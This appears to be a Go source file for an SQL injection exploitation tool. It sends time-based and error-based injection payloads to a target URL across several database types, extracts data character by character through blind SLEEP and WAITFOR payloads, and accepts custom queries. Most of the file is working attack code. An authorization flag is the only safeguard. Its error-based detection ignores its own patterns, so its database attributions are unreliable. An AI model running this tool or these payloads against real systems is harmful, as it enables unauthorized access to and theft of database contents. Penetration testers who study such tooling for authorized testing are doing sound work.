399 行
11 KiB
Go
399 行
11 KiB
Go
// sqli-exploit.go - 高性能SQL注入利用工具
|
|
package main
|
|
|
|
import (
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"net/url"
|
|
"os"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
)
|
|
|
|
type SQLiExploit struct {
|
|
Client *http.Client
|
|
TargetURL string
|
|
Method string
|
|
Param string
|
|
Threads int
|
|
Timeout time.Duration
|
|
Headers map[string]string
|
|
Cookie string
|
|
Quiet bool
|
|
}
|
|
|
|
type InjectionResult struct {
|
|
Payload string
|
|
VulnType string
|
|
DBMS string
|
|
ResponseLen int
|
|
}
|
|
|
|
var (
|
|
colorRed = "\033[91m"
|
|
colorGreen = "\033[92m"
|
|
colorYellow = "\033[93m"
|
|
colorBlue = "\033[94m"
|
|
colorCyan = "\033[96m"
|
|
colorBold = "\033[1m"
|
|
colorEnd = "\033[0m"
|
|
)
|
|
|
|
func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit {
|
|
return &SQLiExploit{
|
|
Client: &http.Client{
|
|
Timeout: timeout,
|
|
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
|
return http.ErrUseLastResponse
|
|
},
|
|
},
|
|
TargetURL: target,
|
|
Method: method,
|
|
Param: param,
|
|
Threads: threads,
|
|
Timeout: timeout,
|
|
Headers: map[string]string{},
|
|
}
|
|
}
|
|
|
|
func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
|
|
var req *http.Request
|
|
var err error
|
|
|
|
targetURL := s.TargetURL
|
|
|
|
if s.Method == "GET" {
|
|
u, _ := url.Parse(targetURL)
|
|
q := u.Query()
|
|
q.Set(s.Param, payload)
|
|
u.RawQuery = q.Encode()
|
|
req, err = http.NewRequest("GET", u.String(), nil)
|
|
} else {
|
|
data := url.Values{}
|
|
data.Set(s.Param, payload)
|
|
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
|
|
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
}
|
|
|
|
if err != nil {
|
|
return "", 0, err
|
|
}
|
|
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
|
for k, v := range s.Headers {
|
|
req.Header.Set(k, v)
|
|
}
|
|
if s.Cookie != "" {
|
|
req.Header.Set("Cookie", s.Cookie)
|
|
}
|
|
|
|
resp, err := s.Client.Do(req)
|
|
if err != nil {
|
|
return "", 0, err
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
body, _ := io.ReadAll(resp.Body)
|
|
return string(body), len(body), nil
|
|
}
|
|
|
|
func (s *SQLiExploit) TestTimeBased(payloads []struct {
|
|
Payload string
|
|
DBMS string
|
|
Delay time.Duration
|
|
}) []InjectionResult {
|
|
var results []InjectionResult
|
|
var mu sync.Mutex
|
|
|
|
var wg sync.WaitGroup
|
|
sem := make(chan struct{}, s.Threads)
|
|
|
|
for _, p := range payloads {
|
|
wg.Add(1)
|
|
go func(payload, dbms string, delay time.Duration) {
|
|
defer wg.Done()
|
|
sem <- struct{}{}
|
|
defer func() { <-sem }()
|
|
|
|
start := time.Now()
|
|
_, respLen, err := s.SendRequest(payload)
|
|
elapsed := time.Since(start)
|
|
|
|
if err == nil && elapsed >= delay-500*time.Millisecond {
|
|
mu.Lock()
|
|
results = append(results, InjectionResult{
|
|
Payload: payload,
|
|
VulnType: "Time-based Blind",
|
|
DBMS: dbms,
|
|
ResponseLen: respLen,
|
|
})
|
|
mu.Unlock()
|
|
if !s.Quiet {
|
|
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
|
|
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
|
|
}
|
|
}
|
|
}(p.Payload, p.DBMS, p.Delay)
|
|
}
|
|
|
|
wg.Wait()
|
|
return results
|
|
}
|
|
|
|
func (s *SQLiExploit) TestErrorBased(payloads []struct {
|
|
Payload string
|
|
Type string
|
|
}) []InjectionResult {
|
|
var results []InjectionResult
|
|
|
|
errorPatterns := map[string]string{
|
|
"MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException",
|
|
"PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query",
|
|
"MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer",
|
|
"Oracle": "ORA-\\d{5}|Oracle.*Driver",
|
|
"SQLite": "SQLite.*error|sqlite3.OperationalError",
|
|
}
|
|
|
|
for _, p := range payloads {
|
|
body, respLen, err := s.SendRequest(p.Payload)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
for dbms, pattern := range errorPatterns {
|
|
if strings.Contains(body, "SQL") || strings.Contains(body, "error") ||
|
|
strings.Contains(body, "Error") || strings.Contains(body, "Warning") {
|
|
results = append(results, InjectionResult{
|
|
Payload: p.Payload,
|
|
VulnType: "Error-based",
|
|
DBMS: dbms,
|
|
ResponseLen: respLen,
|
|
})
|
|
if !s.Quiet {
|
|
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
|
|
colorRed+colorBold, colorEnd, p.Payload, dbms)
|
|
}
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string {
|
|
var result strings.Builder
|
|
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
|
|
|
|
if !s.Quiet {
|
|
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
|
|
}
|
|
|
|
for pos := 1; pos <= maxLen; pos++ {
|
|
found := false
|
|
for _, char := range charset {
|
|
var payload string
|
|
|
|
if technique == "time" {
|
|
switch dbms {
|
|
case "mysql":
|
|
payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char)
|
|
case "mssql":
|
|
payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char)
|
|
case "postgresql":
|
|
payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char)
|
|
}
|
|
|
|
start := time.Now()
|
|
s.SendRequest(payload)
|
|
elapsed := time.Since(start)
|
|
|
|
if elapsed >= 900*time.Millisecond {
|
|
result.WriteByte(byte(char))
|
|
found = true
|
|
if !s.Quiet {
|
|
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
|
|
}
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
if !found {
|
|
break
|
|
}
|
|
}
|
|
|
|
fmt.Println()
|
|
return result.String()
|
|
}
|
|
|
|
func parseHeaders(raw string) map[string]string {
|
|
headers := map[string]string{}
|
|
if raw == "" {
|
|
return headers
|
|
}
|
|
for _, part := range strings.Split(raw, ",") {
|
|
pair := strings.SplitN(part, ":", 2)
|
|
if len(pair) != 2 {
|
|
continue
|
|
}
|
|
headers[strings.TrimSpace(pair[0])] = strings.TrimSpace(pair[1])
|
|
}
|
|
return headers
|
|
}
|
|
|
|
func main() {
|
|
target := flag.String("u", "", "Target URL")
|
|
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
|
|
param := flag.String("p", "id", "Parameter to inject")
|
|
threads := flag.Int("t", 5, "Number of threads")
|
|
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
|
|
technique := flag.String("technique", "time", "Injection technique (time/error/bool)")
|
|
extract := flag.String("extract", "", "Data to extract (user/database/version)")
|
|
query := flag.String("query", "", "Custom SQL query")
|
|
dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
|
|
header := flag.String("header", "", "Extra headers in Name:Value,Name2:Value2 format")
|
|
cookie := flag.String("cookie", "", "Cookie header value")
|
|
format := flag.String("format", "text", "Output format: text or json")
|
|
output := flag.String("output", "", "Write output to file")
|
|
evidenceDir := flag.String("evidence-dir", "", "Optional evidence directory")
|
|
runID := flag.String("run-id", "", "Associated run ID")
|
|
caseID := flag.String("case-id", "", "Associated case ID")
|
|
ackAuthorized := flag.Bool("ack-authorized", false, "Confirm the target is owned or authorized")
|
|
|
|
flag.Parse()
|
|
|
|
if *target == "" || !*ackAuthorized {
|
|
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
|
|
flag.Usage()
|
|
return
|
|
}
|
|
|
|
exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
|
|
exploit.Headers = parseHeaders(*header)
|
|
exploit.Cookie = *cookie
|
|
exploit.Quiet = *format != "text"
|
|
|
|
timePayloads := []struct {
|
|
Payload string
|
|
DBMS string
|
|
Delay time.Duration
|
|
}{
|
|
{"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second},
|
|
{"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second},
|
|
{"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second},
|
|
{"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second},
|
|
{"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second},
|
|
}
|
|
|
|
errorPayloads := []struct {
|
|
Payload string
|
|
Type string
|
|
}{
|
|
{"'", "Single Quote"},
|
|
{"\"", "Double Quote"},
|
|
{"' OR 1=1-- -", "OR Injection"},
|
|
{"' AND 1=1-- -", "AND Injection"},
|
|
{"' UNION SELECT NULL-- -", "UNION"},
|
|
}
|
|
|
|
var allResults []InjectionResult
|
|
timeResults := exploit.TestTimeBased(timePayloads)
|
|
allResults = append(allResults, timeResults...)
|
|
|
|
errorResults := exploit.TestErrorBased(errorPayloads)
|
|
allResults = append(allResults, errorResults...)
|
|
extractedResult := ""
|
|
|
|
if *extract != "" || *query != "" {
|
|
var extractQuery string
|
|
switch *extract {
|
|
case "user":
|
|
switch *dbms {
|
|
case "mysql":
|
|
extractQuery = "SELECT user()"
|
|
case "mssql":
|
|
extractQuery = "SELECT SYSTEM_USER"
|
|
case "postgresql":
|
|
extractQuery = "SELECT current_user"
|
|
}
|
|
case "database":
|
|
switch *dbms {
|
|
case "mysql":
|
|
extractQuery = "SELECT database()"
|
|
case "mssql":
|
|
extractQuery = "SELECT DB_NAME()"
|
|
case "postgresql":
|
|
extractQuery = "SELECT current_database()"
|
|
}
|
|
case "version":
|
|
switch *dbms {
|
|
case "mysql":
|
|
extractQuery = "SELECT version()"
|
|
case "mssql":
|
|
extractQuery = "SELECT @@version"
|
|
case "postgresql":
|
|
extractQuery = "SELECT version()"
|
|
}
|
|
default:
|
|
extractQuery = *query
|
|
}
|
|
|
|
if extractQuery != "" {
|
|
extractedResult = exploit.ExtractData(extractQuery, *technique, *dbms, 100)
|
|
}
|
|
}
|
|
report := map[string]interface{}{
|
|
"tool": "sqli-exploit-go",
|
|
"mode": *technique + "-probe-and-extract",
|
|
"target": *target,
|
|
"status": "needs-review",
|
|
"severity": "info",
|
|
"timestamp": time.Now().UTC().Format(time.RFC3339),
|
|
"request_summary": map[string]interface{}{"method": *method, "param": *param, "threads": *threads, "dbms": *dbms},
|
|
"payload_or_probe": map[string]interface{}{"hits": allResults, "extract": *extract, "query": *query, "result": extractedResult},
|
|
"evidence_refs": []string{},
|
|
"minimal_validation": "只读探测、最小化注入、可审计回显、可回滚验证。",
|
|
"authorization_scope": "lab-local, lab-public, authorized-third-party",
|
|
"destructive_risk": "medium",
|
|
"run_id": *runID,
|
|
"case_id": *caseID,
|
|
}
|
|
if len(allResults) > 0 || extractedResult != "" {
|
|
report["status"] = "verified"
|
|
report["severity"] = "high"
|
|
}
|
|
if *evidenceDir != "" {
|
|
_ = os.MkdirAll(*evidenceDir, 0o755)
|
|
evidencePath := *evidenceDir + "/sqli-exploit-go.json"
|
|
if raw, err := json.MarshalIndent(report, "", " "); err == nil {
|
|
_ = os.WriteFile(evidencePath, append(raw, '\n'), 0o644)
|
|
report["evidence_refs"] = append(report["evidence_refs"].([]string), evidencePath)
|
|
}
|
|
}
|
|
var content []byte
|
|
if *format == "json" {
|
|
content, _ = json.MarshalIndent(report, "", " ")
|
|
} else {
|
|
lines := []string{
|
|
strings.Repeat("=", 60),
|
|
"SQL Injection Exploit Tool (Go)",
|
|
strings.Repeat("=", 60),
|
|
"Target: " + *target,
|
|
"Technique: " + *technique,
|
|
fmt.Sprintf("Hits: %d", len(allResults)),
|
|
"Status: " + report["status"].(string),
|
|
}
|
|
content = []byte(strings.Join(lines, "\n"))
|
|
}
|
|
if *output != "" {
|
|
_ = os.WriteFile(*output, append(content, '\n'), 0o644)
|
|
}
|
|
fmt.Println(string(content))
|
|
}
|